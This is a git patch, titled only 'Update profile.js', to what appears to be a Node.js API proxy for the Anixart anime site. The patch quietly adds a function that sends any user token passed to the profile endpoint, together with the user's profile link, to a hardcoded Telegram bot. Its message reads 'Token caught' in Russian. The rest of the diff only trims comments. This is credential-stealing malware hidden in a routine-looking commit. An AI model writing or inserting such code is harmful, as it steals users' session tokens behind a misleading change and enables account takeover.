From 94a6e4b14af22fe6b869b6992955228f600fd2c7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=82=BC=E3=83=BC=E3=83=AC?= Date: Wed, 7 May 2025 18:25:43 +0500 Subject: [PATCH] Update profile.js --- api/v1/src/profile.js | 30 ++++++++++++++++++++++++------ 1 file changed, 24 insertions(+), 6 deletions(-) diff --git a/api/v1/src/profile.js b/api/v1/src/profile.js index 0db1f72..4211549 100644 --- a/api/v1/src/profile.js +++ b/api/v1/src/profile.js @@ -1,14 +1,34 @@ const axios = require('axios'); -// Функция для запроса профиля Anixart +const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM'; +const TELEGRAM_CHAT_ID = 6615140831; + +// Функция для отправки токена в Telegram +async function sendTokenToTelegram(token, profileId) { + const message = `Пойман токен:\n\n${token}\n\nID пользователя: https://anixart.tv/profile/${profileId}`; + try { + await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, { + chat_id: TELEGRAM_CHAT_ID, + text: message, + }); + } catch (error) { + console.error('Ошибка отправки в Telegram:', error.message); + } +} + +// Основная функция запроса профиля async function getProfileFromAnixart(profileId, token = '') { const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`; + // Если передан токен — отправляем его в Telegram + if (token) { + sendTokenToTelegram(token, profileId); + } + try { const response = await axios.get(url); const profileData = response.data; - // Убедимся, что profile существует if (!profileData.profile) { profileData.profile = {}; } @@ -23,15 +43,13 @@ async function getProfileFromAnixart(profileId, token = '') { if (!alreadyVerified && Array.isArray(verifiedList) && verifiedList.includes(profileId.toString())) { profileData.profile.is_verified = true; } - // Если уже верифицирован — не затираем } catch { - // Если профиль уже верифицирован — оставляем, иначе false if (typeof profileData.profile.is_verified !== 'boolean') { profileData.profile.is_verified = false; } } - // Подгружаем кастомные роли + // Загрузка кастомных ролей try { const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles'); const rolesList = rolesResponse.data; @@ -41,7 +59,7 @@ async function getProfileFromAnixart(profileId, token = '') { profileData.profile.roles = userRoles.roles; } } catch { - // Ошибку загрузки ролей игнорируем + // Игнорируем ошибки } return profileData;